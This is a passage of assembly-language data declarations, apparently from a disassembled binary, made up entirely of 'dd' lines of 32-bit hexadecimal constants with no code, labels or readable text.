		dd 0DC00DEADh, 6F2BDBCCh, 0DF7B00CAh, 917EB293h, 2017D378h
		dd 0E400F28Fh, 0D07F545h, 70A7165Dh, 46B800D9h,	0DABF6A7Bh
		dd 0A5E5AE09h, 21ECE4DCh, 0D9093250h, 420464EEh, 89007C36h
		dd 4387A73Ch, 2F2ACB6Fh, 75FC4209h, 36032100h, 8C57F0h
		dd 2689925Bh, 0A6AD6C4Bh, 6F264674h, 5D441C06h,	0B9895249h
		dd 71029100h, 0E00B577h, 0B36ABEF6h, 31DCA7E0h,	0E41A276Ch
		dd 7E88487Ch, 0DB2CA8F8h, 793AD647h, 3C101A00h,	0AE6FF71Fh
		dd 4EF49C5Bh, 740C508h,	9C2EF23Bh, 5B0AC00h, 0FD4A7Bh
		dd 80D4FF48h, 0F009117h, 0F2F51942h, 26D0A48Ch,	8FA0F86Ch
		dd 44E084E5h, 71432515h, 8AB3D804h, 40802B20h, 29275D31h
		dd 2E840DBh, 6B44475Bh,	0EC027C42h, 0E927075Dh,	8CB6F540h
		dd 0C5AC98C5h, 0FA2291h, 45DC8B60h, 5F786541h, 954A41Fh
		dd 9C89B94h, 98E5905Dh,	7A2F25Ch, 0B943FAF5h, 0B0B3E0B5h
		dd 350A6E52h, 0E815DAB1h, 71472842h, 82F3000Ch,	4135FE39h
		dd 5C4EC300h, 6EBB8A9Bh, 0B643EA38h, 6D490908h,	6307C899h
		dd 643C9608h, 76B0C3h, 57295F84h, 83527C08h, 0B0EF8F24h
		dd 0B800424h, 285092DBh, 0E5290FB2h, 5A8538F7h,	30D422B0h
		dd 0E0034844h, 8DA8B102h, 0EACCF854h, 0B2E80FF9h, 2E82E523h
		dd 0C84EC518h, 0C7A1100h, 0F3440AE6h, 20F39AEh,	5864B080h
		dd 1A8E619Bh, 5186C705h, 0C91E25Fh, 2210EBC2h, 8D042FFCh
		dd 0A797E513h, 0F90330E2h, 0AAF33672h, 0C8A8EFB1h, 865EF07Ch
		dd 80732C20h, 0A3DE1223h, 0C73088FCh, 66D44200h, 9F6457CCh
		dd 0F51400CBh, 0E5BBD176h, 0D813BE0Ch, 3005A118h, 4441EEDDh
		dd 51F20555h, 62933C38h, 0C851E53Ch, 0A6D6BC00h, 0E0F3672Dh
		dd 20B90241h, 8244F845h, 887150B2h, 29E7BD00h, 0FA455C86h
		dd 3A0E00ABh, 9A6A4AA4h, 0F501A138h, 0B1084FD2h, 0B4481BDCh
		dd 0DB0F88D5h, 0D3069D00h
		dd 0F5935B76h, 50707602h, 1F56EFC1h, 49B9A42Bh,	980089ADh
		dd 0B3A887FAh, 0F2D2B0A0h, 0B860D0B6h, 5B1BFE4h, 0ACD1F4B5h
		dd 4D40086h, 71CDCC11h,	89D2F800h, 813649E3h, 1B8B1FCh
		dd 0D88F7FD5h, 211C47Ch, 7BCFAF3Eh, 6027C700h, 8D5BB83Ah
		dd 8249518Bh, 40E0B992h, 9EFD8178h, 852E7668h, 9B69C411h
		dd 0E6ECF938h, 7CF83821h, 0BCBA5048h, 4404B0C4h, 1E09B9B7h
		dd 11BC75Bh, 91064670h,	0FD41D986h, 0BF00A95Ah,	6337CD86h
		dd 2999031h, 5BC261ADh,	1C84EAD3h, 0C88563Dh, 0ACE002Eh
		dd 5B3FE4EAh, 19033467h, 12741DAFh, 1A41214Ch, 229C5D10h
		dd 6CEB4A03h, 0A06BE0C3h, 49A5E338h, 3457781Dh,	57F21108h
		dd 8DB65661h, 0D18BC83Dh, 445E0448h, 0A6B4961Eh, 492BA0Eh
		dd 94E2CC55h, 49763F00h, 9529565Ch, 9FDC0502h, 44FD430Eh
		dd 8D220058h, 0A97E4DBBh, 0DF26835Dh, 43801018h, 0E2C11272h
		dd 4A584BAEh, 5831B4h, 0C3B367AAh, 84049E49h, 4B22430Ah
		dd 0B8063084h, 26281CEAh, 41606446h, 0DCCF588Dh, 472FCA71h
		dd 0C0601022h, 96E8009Ah, 46121767h, 0A97F055Dh, 5474EF0Fh
		dd 223620D7h, 4C3501E5h, 0D5803088h, 0F15F67C3h, 80BA953Ah
		dd 0AF4CE74Fh, 941BABh,	0B2D256F6h, 7CFB9906h, 54907883h
		dd 38FAB0ACh, 8C008EE8h, 1B20115Ch, 0EE52EB83h,	0F0B67EE4h
		dd 0E4C6A9E0h, 986F001Ch, 0B77F398Dh, 8318C387h, 6539E8BBh
		dd 0AC0085BFh, 441340DFh, 3A801D26h, 7D9583C4h,	201456D0h
		dd 80AC33ECh, 58AA572Bh, 0BDFCCEh, 0EBB6E669h, 0BF1865EDh
		dd 80057494h, 44E581DEh, 0A60EB433h, 8587B6D9h,	1843400Eh
		dd 53022194h, 0A1CC172Bh, 513CC003h, 0B699C497h, 2F94ADDBh
		dd 0F70A089h, 158F8DDh,	774EABBh, 4C477B99h, 7D89A2A0h
		dd 0D6132C7Dh, 294C0316h, 0C2D8B45Dh, 401A6CDh,	0A64DF8Dh
		dd 94344DC1h, 9C3F8846h, 19AC4E03h, 80A5C97Bh, 4C0D1CE2h
		dd 8700DA12h, 8C29101Eh, 10956549h, 0E071B9Ch, 83FC8D20h
		dd 0B8060B3Fh, 421D5804h, 46A87EB6h, 11D002BCh,	0BF316A37h
		dd 0C9EFF0A1h, 94CF13A1h, 0FD80E509h, 0DBF1BBBAh, 0B43B700h
		dd 9DE4E845h, 12B5F6Fh,	80AF8180h, 64BC489Eh, 607DD744h
		dd 6C2171DDh, 0FD3D8CE7h, 3F698092h, 6A51FEA0h,	10F892D1h
		dd 0DCDAF4C4h, 17ED6C30h, 60E44C78h, 8CD38505h,	1DC83058h
		dd 0A21DC43Ch, 0BD83C0CAh, 25AFD248h, 88C5DCF1h, 93E71601h
		dd 9F86F8Dh, 6B508D4h, 0C380E433h, 0F687B198h, 1B2B095Ah
		dd 0C11A0F0h, 0FCD05202h, 3B0084E4h, 1560C2A4h,	2AA5E896h
		dd 18880BC4h, 0F9AC50F3h, 6E7857E9h, 1470BF24h,	712A82Ch
		dd 0B8AF70D3h, 9EF21Dh,	4D30BB5Eh, 81208BFAh, 0BA03EE00h
		dd 74138460h, 0FE6E4CBh, 0AB857DB1h, 389910E0h,	8F4897C8h
		dd 24C42204h, 22A1AA8Dh, 0ECE44444h, 0B464DD0Bh, 0BECC2796h
		dd 0ED4EAFA7h, 0F8002060h, 18C9FC8h, 5D7A7EB8h,	60ACFC3Bh
		dd 0E5645F7Ch, 0C6320FE0h, 68581013h, 207C27E3h, 9E8F46A8h
		dd 0CC700749h, 0F063C8A5h, 0F24E8BE3h, 7100CA7Eh, 76DB760h
		dd 1A2AE8h, 295EBE93h, 2DBB9852h, 0C0E4AE1Ch, 0AB70C241h
		dd 2039FFA2h, 0CF87751Dh, 51445AB5h, 0C9208C52h, 982EBA88h
		dd 68D24858h, 7A7C205Eh, 887AC778h, 87BF3D0Bh, 0D0E4EB43h
		dd 0EE21B6EEh, 0F28B16C0h, 0C5342450h, 6E5408C4h, 89452764h
		dd 38BC40AFh, 39170B1Fh, 143F5C00h, 368F9ED0h, 993FE35h
		dd 5143506Fh, 0A4310024h, 49035F44h, 0E9C314B0h, 0EADBF086h
		dd 208D0985h, 0B4C887D7h, 9B5F36A1h, 5E70EC27h,	0C074FCFAh
		dd 0D8E04121h, 0C5006B8Bh, 0A13FF172h, 1A53BFh,	60EAECAFh
		dd 490DADC4h, 82796E60h, 281D84F8h, 43ECF0BBh, 1391223Fh
		dd 28EC2EB6h, 0E5030D80h, 0EBFAA5A2h, 23D81144h, 0B1670F43h
		dd 2062615Ah, 604125E3h, 0F2C7A358h, 41B056DDh,	2AD6831Eh
		dd 0C0BFC13h, 49C6EB4h,	0F57BBDA2h, 0D03081F3h,	77E5001Eh
		dd 46F201B6h, 0E0B8BBF6h, 0B334502Fh, 9895A4ADh, 2214568h
		dd 8531FA33h, 6449FD68h, 89BB0C07h, 8472FCh, 0FFCD0E37h
		dd 1B0E6EDh, 539894D5h,	20801783h, 5A3AA028h, 0C18189EAh
		dd 9071EFh, 38CCC0ACh, 20229E2h, 0F08A68ADh, 5F50C07Fh
		dd 854C4459h, 94B695h, 910B879h, 0D7518078h, 0F306980Ch
		dd 0B2EB8052h, 0A80722A4h, 0A287FA00h, 0B10D4F7Dh, 0A7E50921h
		dd 6C187EB2h, 0F2128D26h, 0E8A2DC29h, 0B1936E01h, 41E4417Eh
		dd 32566F88h, 10BCD05Ch, 8A5807BCh, 2118CE4Ah, 240F265Fh
		dd 82C54444h, 0C45288A8h, 0AC2BA100h, 5C71B32Eh, 3F5A00B4h
		dd 0EF09CE40h, 6F4CBB0Fh, 44772A5Ch, 58589528h,	4C3C7948h
		dd 0A4D21E44h, 1DDC6484h, 21D938D2h, 0E8A5B810h, 2E1D3D14h
		dd 6D00B11Ah, 7EB5FAB9h, 48BE00DAh, 0D6154555h,	0BC00B3E0h
		dd 9D93019Ah, 4850ADC0h, 6C5CAC07h, 0E7601480h,	77003578h
		dd 0C20B4631h, 2C1A6228h, 1298C7D5h, 0AD6031C6h, 71383904h
		dd 0B0705489h, 11404247h, 0DE261165h, 41302C24h, 731E45F3h
		dd 0E8545F3Ch, 77CF10B0h, 0A053684Ch, 302BAC12h, 0A4F9937Ch
		dd 8840305Fh, 3D09B1F2h, 11500038h, 18A29935h, 68000595h
		dd 0D703F3DEh, 0B8200A2Eh, 0D3A32180h, 81BC9F94h, 0F126D81Fh
		dd 395A22E0h, 324A2BEDh, 8C61B8C0h, 84CE0CCAh, 67A944h
		dd 0C98AD263h, 5EAC9AAFh, 13005C78h, 4C755F0h, 1847B0A8h
		dd 592AEBBAh, 0DB0E7306h, 0B7A4F8h, 7428E878h, 0C2A70427h
		dd 0BCC8507Ch, 16B639F4h, 890D3E3h, 0B830522Eh,	14A4E690h
		dd 0C0B8A1C3h, 9E725B10h, 107D108h, 83C4AB41h, 22382252h
		dd 80C4B170h, 84DC9E39h, 0B50120F2h, 0FF440C4Dh, 60EEE5A6h
		dd 82873B08h, 8B00D0F9h, 9082BFABh, 0C7D9010Ch,	0AE37733Eh
		dd 8FFCCBEDh, 0C45B23A0h, 0E7C340DDh, 9FF805Eh,	517DEDF4h
		dd 5DF3DC02h, 0F023C311h, 0A8601F70h, 0A2291251h, 33FF808Ch
		dd 28B4EA18h, 9C4E595h,	47B16C98h, 0AD1C9CC4h, 1AC3535Ch
		dd 0E0FFD9D7h, 0B104DFh, 62C4FC25h, 0E55989E2h,	0EC4BF998h
		dd 44511CC8h, 7C98E907h, 7022D343h, 1188A15Ch, 8938417Bh
		dd 5A07201h, 0C48E6F56h, 4C079742h, 8AE021BBh, 0DE70039Eh
		dd 2CEAC193h, 0C581423h, 0A368D332h, 30129219h,	1A0FE4DAh
		dd 0E066D267h, 0E16A4E28h, 0B27207BDh, 2C386845h, 78406790h
		dd 0A68B75D0h, 83F627C4h, 467B80E4h, 2ADD240Fh,	4B9EBF4h
		dd 0FB315E64h, 0B68D0004h, 61E0B6C7h, 32C45F83h, 783093E0h
		dd 0B1832E9h, 249EB38h,	0B47D4C68h, 0F46D21C0h,	0D679F0h
		dd 667CC01Fh, 0B4DF4EBEh, 0C991EF01h, 9830964Dh, 2947E0h
		dd 925287F2h, 0C8C1138Dh, 0B8852F00h, 0BBFC9701h, 1409188h
		dd 0EA8F4D18h, 0DFA45206h, 0F608E619h, 527388h,	0AF459DA8h
		dd 0A6345B60h, 0B8413C00h, 541583AAh, 1CEF58E6h, 0AB17410h
		dd 846D72D9h, 8B7F8141h, 0F7C4043Ah, 5A3CB057h,	8060A0A6h
		dd 955FA99h, 0D7451F36h, 8B4043CAh, 80E52083h, 2EAFB35Ch
		dd 2B7B0678h, 0D4C2BB4Eh, 0A86430h, 6568E646h, 215BBEC0h
		dd 0BC2783EEh, 1D904CA5h, 828D5F1Eh, 0B0A36C6Fh, 0DEBDE476h
		dd 14B2B012h, 0BF01B33Bh, 83C2F655h, 8A5852DEh,	9F2510h
		dd 0D85186E3h, 54A4A0ABh, 3F202C90h, 60A1004Fh,	29B0CCD0h
		dd 0D022B0Ah, 857E6ABBh, 0C4C0523Dh, 0ACC7B710h, 0C95C8824h
		dd 32BAB804h, 10A611C6h
		dd 7AD468B8h, 445600B5h, 616A889Fh, 0C01D810h, 0BF437F60h
		dd 9C413E6Dh, 6030D6F7h, 870B00B9h, 6A6EBC74h, 0DD162EA4h
		dd 30265D45h, 479C9C10h, 272B91CCh, 7471C47Bh, 0EE93680Eh
		dd 200832ECh, 4A98643Bh, 170884ADh, 0B2EC0041h,	136DB57Fh
		dd 87EBF600h, 6FAF4402h, 48010358h, 1A6B9D9Ah, 8AF51800h
		dd 4B41986Ch, 97D805DEh, 0C3A615EAh, 0F2F00E6Ch, 0FC89DB52h
		dd 0F020402Ah, 874926B5h, 459F8919h, 820C2798h,	7CD0118Ah
		dd 0CC00C805h, 1F898000h, 996B49B9h, 166E902Dh,	0AEF46E2Fh
		dd 97909300h, 99273E93h, 3D41110h, 0C748E17Bh, 0C65B8B3h
		dd 85C40479h, 0E2F9EE94h, 66630B34h, 280D8AA6h,	89C86210h
		dd 0D8C18D92h, 8410E62Ch, 0FC022DA2h, 0AC20A355h, 13846646h
		dd 8BB1FFBBh, 0E1911778h, 3504F01Fh, 58C2BF04h,	111719CEh
		dd 5F6A80AFh, 0F0BD802Ch, 6D406F9Dh, 21C90CB0h,	7FE0B0E0h
		dd 74418248h, 0C14C78E9h, 85EBD576h, 88A63430h,	0E807C615h
		dd 4992BDDFh, 0D0E6B70h, 2458002Ah, 44D3B5E2h, 6CAE121Eh
		dd 0BE0E850h, 0B9644C99h, 0EE6F00D1h, 0A36A4600h, 80C03DF9h
		dd 739AD3D1h, 3C50068h,	8AA36F4Bh, 0F4987998h, 0E42094B9h
		dd 39B02150h, 66434C9Ah, 894CA29h, 3097439Dh, 53BE60D0h
		dd 38A300B7h, 46DF7BE3h, 9600EF09h, 0F5E922C9h,	0EACE3498h
		dd 0E4089407h, 871CA216h, 819021A1h, 0B0E442A7h, 95E877D0h
		dd 7458802h, 5457EC20h,	0B3050F99h, 0C0FCF03Fh,	0EB1B44E4h
		dd 6E1F3304h, 78ACDBh, 0D3455A2Bh, 7CCB87BBh, 13B40695h
		dd 18352A1Eh, 0DE963700h, 0F9935B9Ah, 10CC9EECh, 60D3C812h
		dd 0AE769E2Ch, 0C0A12E2Ah, 22E0F722h, 0FA00D668h, 2B0F1F84h
		dd 5036BBD4h, 9C045C9Bh, 0AFBE1D60h, 0B7FBB402h, 7B21CC58h
		dd 58890956h, 2F00B8ECh, 4AFABB94h, 145ABD21h, 8CD0B0C7h
		dd 2C80223Dh, 723B838h,	0F02583DAh, 1DA049FCh, 3262C0h
		dd 0C1D5B137h, 84087874h, 0E7F6A71Ch, 0EC60F4E6h, 7E7A8AC8h
		dd 5844F086h, 915B78E6h, 29694658h, 36AF126Ch, 0C3C22CE2h
		dd 1C461683h, 9E10F342h, 80F28874h, 6128A1B8h, 68F2E716h
		dd 7ED8020Bh, 0DF70040Ch, 1BC820B2h, 5E87AF85h,	0BBF02808h
		dd 180C1B8Eh, 0DB8ADDE0h, 70030E6Ch, 0D347105Dh, 0D81DA507h
		dd 90721C10h, 1DCC8620h, 0A6D75CA6h, 0B4B940A4h, 6E0187F7h
		dd 0EAA57467h, 830C9B65h, 5B468140h, 0F28CC96Bh, 2D2B5330h
		dd 0A409191Bh, 0B6271CE6h, 92CCAFDDh, 0D02640B2h, 0CEDC087Ch
		dd 191F7C0Ch, 65100048h, 0BD953DDEh, 809646A7h,	2E802249h
		dd 10D311F0h, 8384E6h, 811F3D75h, 6369BF87h, 42437090h
		dd 0B5D04B5Fh, 153BD482h, 0E6B4AD01h, 0C7A2643Ch, 6E02BA11h
		dd 8004F518h, 2195FFFAh, 87B29A00h, 0E141D340h,	0D0661DEAh
		dd 69FFC28Bh, 88E080B8h, 0DC04F245h, 0BBF628CDh, 0CF12AC97h
		dd 0BE080EA1h, 0FC55AF8Ah, 2D558h, 9E404191h, 0B37688AAh
		dd 0EA15300h, 22971292h, 0EB5E0EB5h, 988480BAh,	8B48849Bh
		dd 90110064h, 0E1FE31A6h, 50120FF8h, 4CA01EF5h,	2E43C968h
		dd 15A38B0Ch, 861AF8B4h, 6870A44Ah, 3B1E3ED6h, 640AC357h
		dd 5E8D5D0h, 0B26F7140h, 89770B38h, 3B84E449h, 0B313AADEh
		dd 98042257h, 9C880C2Ah, 1CB591E4h, 6D40386Eh, 85D2A1FCh
		dd 40B00007h, 263A1842h, 881C4CC4h, 59001179h, 0E2DCD01Fh
		dd 0C1800062h, 90BA367Ch, 2D00BB75h, 88EB3842h,	0BFC9B86h
		dd 596E0571h, 0FA4C7C98h, 0F7D3F100h, 3E5CF0DDh, 179926A0h
		dd 58B7155Ch, 0B631AD31h, 585EE2D0h, 0D8208044h, 0E1272B0h
		dd 0C0C12CCCh, 4EAABECh, 0A43240A8h, 0E2FA7B68h, 0BBBE1A63h
		dd 4C51C85Bh, 0BD805E05h, 88A1C41Ch, 0B591041Ch, 0C9289300h
		dd 84BA8021h, 0FAC8EE00h, 8FFFBF85h, 0DE454819h, 0DC70640Bh
		dd 0FB160CC8h, 0B738A4E0h, 0C0C0CC6Eh, 19868733h, 670F217h
		dd 4D30B8A5h, 0BC756906h, 0DE7D5818h, 5E9C511h,	0F6A4EF52h
		dd 0DFEC48AAh, 4CE3CB65h, 71E30812h, 0FC43B1F8h, 4501C9D5h
		dd 0EBF6B41Dh, 9BD080B9h, 0D06E2E6Bh, 9F67080Ch, 73198147h
		dd 4AED00F4h, 0EF9ED123h, 0C1903F12h, 8586AC48h, 0B9066D6Bh
		dd 0FFF580C0h, 2D979178h, 0FC641BB8h, 5A282400h, 0AAB0E64Dh
		dd 0C2C4CEAh, 0A4A2ABC2h, 8001ECD9h, 8A853CE4h,	1F42CCh
		dd 1A87FFEEh, 8E8B6A06h, 0DF0A93E0h, 8C822031h,	0B0B4F804h
		dd 0E4C6E349h, 5A342D2Eh, 0A428C024h, 94E2B42Bh, 7AD4B980h
		dd 26773A42h, 528CAC17h, 4C73CCE1h, 3BBFEA94h, 54D4D8D8h
		dd 0B2EE0175h, 2FE8F563h, 0FC137E58h, 0E4D7B049h, 31B80054h
		dd 9E960442h, 0AF0903A2h, 0C039FA41h, 0A433ECC8h, 892E0084h
		dd 3765137Eh, 305CFC05h, 917621ACh, 18580Ch, 9DE5B2A7h
		dd 4A52CB6Fh, 4E3C49C8h, 160344CEh, 4FE60757h, 4D83885Ch
		dd 1C9400EEh, 31AAD980h, 0FB4BE213h, 4DA888Dh, 0F44452C7h
		dd 8813E12Fh, 32005214h, 5342AE3Ch, 3FBD1B54h, 250596A1h
		dd 0B2A7DA7Ah, 4D470068h, 0D35FCD7Ch, 0E09F000Fh, 3D704F03h
		dd 17095279h, 98168EFAh, 218B8F74h, 82276849h, 115DE740h
		dd 0C2B6118Fh, 56083063h, 0A0A64E2Bh, 0E92BE791h, 12FA9170h
		dd 8CCA45F3h, 42E33E01h, 61B1C778h, 0A0BC4155h,	70D901E2h
		dd 338BCC32h, 36E05490h, 39E4D058h, 37A90061h, 0C0144412h
		dd 303E48D7h, 7B927F21h, 408BB0CCh, 0EFF4B6E2h,	46411496h
		dd 2CD090EBh, 56849814h, 572C4073h, 0C9FA10D4h,	20A8E6CAh
		dd 0B901E007h, 5024377Eh, 4C28D70Fh, 72E0AF2Eh,	0FA415CD6h
		dd 6D71B8A4h, 0A9776C64h, 0BC15ED60h, 53268000h, 2E094088h
		dd 12005A78h, 888C53B7h, 0E5E0EED0h, 5C2F807h, 97D01541h
		dd 1B0EDBh, 0DE9F5807h,	3E8721CDh, 0DF189E09h, 0BEA09CA4h
		dd 579708E0h, 0E0619444h, 0D02510E2h, 7137002Bh, 0A46B7B49h
		dd 10B17EB2h, 218D2681h, 6DC6384h, 0BBD32DF9h, 16422890h
		dd 1A70C5F2h, 0A1690F18h, 8452BB78h, 84C8AE5Dh,	0DE48B8E0h
		dd 973F1D80h, 13F63CC6h, 0DC73480Ch, 2CB933F4h,	4000C524h
		dd 4D348E4Bh, 3A823F2Bh, 60B1D880h, 0C753A8A4h,	0F819AB28h
		dd 2922EA43h, 463B4090h, 117A05A3h, 0CC8C21BBh,	6FEB001Dh
		dd 86CFF134h, 0EE000E0Ch, 8E7063BDh, 4F8A966Eh,	0E0C434BBh
		dd 0DD079E40h, 0FA85C7B9h, 0F223BBE0h, 0B40E0A2h, 0C5651881h
		dd 58D71040h, 0B93CA795h, 0BB8FA210h, 0B8DE48EEh, 225ACA22h
		dd 0E924C8h, 0AE37A561h, 0A4F6C163h, 0FAEB8C07h, 77723D2Ah
		dd 0A0288EFDh, 0F7CCB875h, 4E7D1520h, 0A851F4A6h, 0BC782461h
		dd 0B9C08048h, 0A6FF4536h, 77B8FD1Fh, 802C5D7Ch, 8329208Fh
		dd 0B0EA4DC6h, 0A446682Dh, 740B300Fh, 0E0421707h, 22A186C3h
		dd 38DB04C9h, 4415F300h, 30176Ah, 8FE8BB0Eh, 27D9ECC0h
		dd 97824828h, 2FFC2103h, 86720879h, 14C60039h, 3FA6D51Ch
		dd 0FF746D43h, 4A3802Fh, 20B01FE0h, 0D0F0A1C4h,	1C032808h
		dd 0B066AFDBh, 0A4E5C887h, 3E8900D9h, 0C34963BEh, 6416DCA7h
		dd 0F500D5F6h, 8C59FCDEh, 330627DFh, 293F7CA0h,	1F00AAB7h
		dd 8ED1ED14h, 58DC4054h, 9E213C55h, 71A60609h, 0DD5F9098h
		dd 0AA17222h, 855F7BEh,	3F1E08D0h, 6491FC20h, 3AC14D80h
		dd 0BDBE44FEh, 0B87C9C05h, 0B6F58758h, 0AEB20467h, 0FF0719Dh
		dd 0BC74C406h, 604F4E3Bh, 714D8658h, 0C3D0B200h, 33780E89h
		dd 0DBD226F1h, 59EB0854h
		dd 0B9427C44h, 208748BDh, 1B860055h, 3300E473h,	1FCAB0E2h
		dd 5B89574h, 0D140506Ch, 1E08F359h, 1001A95Ah, 727DC0A0h
		dd 0BE5E992h, 0ACC51744h, 0A06C4604h, 0E24AF8B2h, 0BA028200h
		dd 0BF7D602Bh, 12CA17BEh, 0FF2803D8h, 0A1AF8C52h, 803CE648h
		dd 9550B869h, 134EA887h, 0C7B23038h, 0A26448C0h, 4FC03CF9h
		dd 2F5A35B3h, 0C6F34B00h, 42A85C80h, 0EE550930h, 5C4BFFE5h
		dd 5ECCAEF8h, 9AA3DC04h, 94903214h, 4AAD69D9h, 27182004h
		dd 98009B3Ah, 0CE12911h, 0C21A7CEDh, 19D0B6A9h,	6CE0E47Eh
		dd 192DD86h, 56A48423h,	0F0E9F40Ah, 2500BEE3h, 0BC4274C2h
		dd 0C0C78909h, 0E5D85D30h, 5F2D8469h, 40E610h, 8B2A8599h
		dd 8730E5B7h, 94B25A00h, 79E6F2B1h, 7777DD6h, 4C987E7Ch
		dd 0C81C3D0Bh, 3301BF31h, 438D845Ch, 7E00439h, 0ECDE015Fh
		dd 80AAB45Dh, 0F5DC494Fh, 0FD4110C5h, 0A08E4887h, 0B86D4912h
		dd 40D3C820h, 0ADA7E257h, 85EA361Fh, 0C6800527h, 0ECA050BCh
		dd 4F003E6Ch, 10792A72h, 2F2058Bh, 175FE873h, 98C0DFC0h
		dd 1FE4E5BEh, 98011C24h, 20F0313Ch, 2200DC10h, 0DB17C69Bh
		dd 60B2D4B1h, 3DF3ED00h, 88E69E0Ah, 0CBA75D06h,	938A3CFh
		dd 200C2CFBh, 0C3D97082h, 0ADC41040h, 0CCD8DA5Bh, 79930FC0h
		dd 0D5A01C5Dh, 0CF23118Eh, 0C0C4B024h, 84C53B00h, 35AE694h
		dd 0E75FEDBEh, 0FCF06074h, 0D0168AA8h, 0B8908C9Fh, 0E0DC0EEh
		dd 0C55CA607h, 0DBE9h, 0FA399BD9h, 68A98407h, 0CDC18EE4h
		dd 59E48CB6h, 4C5A07A5h, 2C4044E6h, 4600D8D9h, 0E080C0ACh
		dd 246071D9h, 3F741A81h, 0F629316h, 20EDF1Ch, 11644B06h
		dd 0E944CCB0h, 304500D2h, 0FDF1F0BCh, 9917FE6Ah, 0B842AEC7h
		dd 20DACBDBh, 0ACE30998h, 0D8A3D11Fh, 0B8B1F6C5h, 6E78B0h
		dd 0BB8C4131h, 0C7B6DBFEh, 0F820CD5Ah, 4C673687h, 0FF8270CAh
		dd 0BC6E8F73h, 4101CB72h, 1D20FE09h, 30F0F4ACh,	0FACC00F2h
		dd 948D0D87h, 0A162677h, 0C804152Bh, 0A14E1798h, 0A7930F3Eh
		dd 0E3B46462h, 0AFE41857h, 81CCBC5Ch, 0B87D42B9h, 0D4DAF620h
		dd 10FFFA28h, 0A128D95Ch, 213AAE6Fh, 0C168A0A4h, 0F8F3EA57h
		dd 7083AA00h, 1E11512Fh, 41D72C08h, 0E8E24B29h,	221438B8h
		dd 9EAF1262h, 30B777h, 3C5C1C3Fh, 0E651A3Ah, 0F32BC37h
		dd 8022EDA7h, 0FC66828Ch, 114420BFh, 0FA5868E5h, 0D30200E1h
		dd 48DB7CB3h, 1600E9D8h, 0AB363347h, 91064941h,	58AF0B60h
		dd 48B82018h, 8C41644Fh, 4A5E9CDFh, 58DE4C4h, 5AF23506h
		dd 889CBC9Eh, 0AC64AF1Ah, 965A2D01h, 3F0B9CF9h,	0C73ABF4h
		dd 76746E52h, 0DF3BF4C4h, 1E5DF4DAh, 145C2D44h,	0F5CB013Ch
		dd 0C3463D1Ah, 0D54FC819h, 6E0B0700h, 0B90E5CD4h, 28B948h
		dd 1A994CADh, 8D01B89Bh, 4A3C09AFh, 0FDE06BF7h,	0C6862843h
		dd 779722D0h, 70784644h, 2640095h, 61981C3Ah, 0AA143669h
		dd 0ED48B30h, 3639B52h,	89C47FB9h, 1020FDD5h, 0C720120Ah
		dd 9878F8F2h, 6FC06Eh, 14DE89EFh, 4E4A9DF4h, 9C9150F2h
		dd 64D3EC05h, 40557C44h, 0D30040E7h, 97A70C94h,	201B20Dh
		dd 0D56AE56Eh, 0A2FC5171h, 0F1E7319h, 0D956F2B8h, 0B9ECDC32h
		dd 31C64502h, 5A4750F2h, 22D15BFCh, 0A0184588h,	4BEC9006h
		dd 3C64C873h, 7BDE0440h, 0FCD90A72h, 0FCC1474h,	52A28E22h
		dd 58718D0Ch, 1643FA00h, 0EBCB4Dh, 0D30561Eh, 0C5F38966h
		dd 55CAC01h, 2B5B573Ah,	60909D2Bh, 1895B184h, 692710h
		dd 429EA4C7h, 0F612A6DCh, 60194400h, 1B5652E6h,	84D64C8Ah
		dd 0B91CED00h, 71970185h, 0AED47907h, 8F0039EEh, 7E97074h
		dd 22A1BFF3h, 0A24760BDh, 9B78E1B2h, 0D75410B5h, 71AC001Ch
		dd 2B047631h, 92ABBF4h,	5D0B9050h, 0D243E5A8h, 0B948C06Ch
		dd 0A3E80EB4h, 29BC8835h, 9C4438E1h, 4CC260A4h,	4C0FDFB4h
		dd 0A4A09F74h, 0D1D89CDCh, 7C5A78B8h, 0B0465C93h, 4A45CC8h
		dd 0C1EF8066h, 53E892A0h, 4C226120h, 91020094h,	6CD00FC8h
		dd 474B8E38h, 0CCF86412h, 43A284B0h, 71513000h,	0F2DFDAD5h
		dd 85EE09ACh, 0B010C4B1h, 31C048BAh, 0A3641DDAh, 338B2EDFh
		dd 56B94044h, 5B72B83h,	0ACC344D0h, 0A10FD4F7h,	0D0467BE1h
		dd 30586ABBh, 82518A98h, 4667602Eh, 0C1B2C7BAh,	0A4DB2A34h
		dd 0F0101CE0h, 0FC80AE88h, 0D81F06ACh, 57EB0083h, 14D31BD7h
		dd 0E195DA8Dh, 0B708CA64h, 0D21222E0h, 18056E6Ah, 2C98D730h
		dd 0B0E720Ah, 7F81FB2Ch, 9B364802h, 284FC90h, 6E15503h
		dd 0C2788150h, 5F08843Ah, 1A6108Ch, 0D18B7220h,	6FB4883Dh
		dd 0CFDE6C5Fh, 47CA3841h, 0CB2E56F3h, 5BA3CF4h,	0AF0749F2h
		dd 5C009CB7h, 0A86C86EDh, 680066F1h, 4E73E243h,	13468EA7h
		dd 62DD5857h, 168090h, 0BBD476A2h, 42333470h, 0A4268501h
		dd 38AF7C3Ch, 0FD406E82h, 0C4F3CDEEh, 4843100h,	3E2689h
		dd 0FA4A8E1Dh, 13753D23h, 9A83530Eh, 6EA84243h,	2968C428h
		dd 1248D3E9h, 9438A281h, 0C1D3006Dh, 0CCA436AAh, 406F1D83h
		dd 0A0418002h, 84E8593Eh, 0DC867609h, 0BA748069h, 0E0DB20h
		dd 0E396C2Ch, 0AE8C8392h, 502D1800h, 9D2B0F40h,	0B1AC00D2h
		dd 0E589B42h, 0B51D2670h, 4B43BD01h, 0A071A004h, 0E9AD08Dh
		dd 79E42745h, 6D307B40h, 0D5038920h, 4BEC93D2h,	736FD819h
		dd 326F0ABh, 2FAA2A18h,	83D04558h, 52009AB3h, 84FCB0DAh
		dd 0FE0F297h, 0BB12FFD1h, 8D2BEA40h, 3000695Dh,	3EA6C35Ch
		dd 0C0FA701Ch, 87454258h, 58E0EC4Ah, 7E80F412h,	0B4F62200h
		dd 30921644h, 0ED28756Dh, 0BF30D343h, 0FFFB38E5h, 39337408h
		dd 78AB7Bh, 2E3EF904h, 73F7EF64h, 7C61D360h, 2B89FEh, 2E1B26B7h
		dd 0F8F4FC8Ch, 1EFABD0Eh, 8DFFC010h, 3F0E53BFh,	0E230A2F6h
		dd 21CE6071h, 0F03CAAE2h, 494707F2h, 4460964Fh,	78FF7Bh
		dd 0FDA64258h, 0CEDBF8D0h, 0E26C0A01h, 0E61DE871h, 0F7FC8186h
		dd 0D2F050E5h, 0CCA89255h, 0B000502Fh, 0C024DA1Ch, 3C77CBh
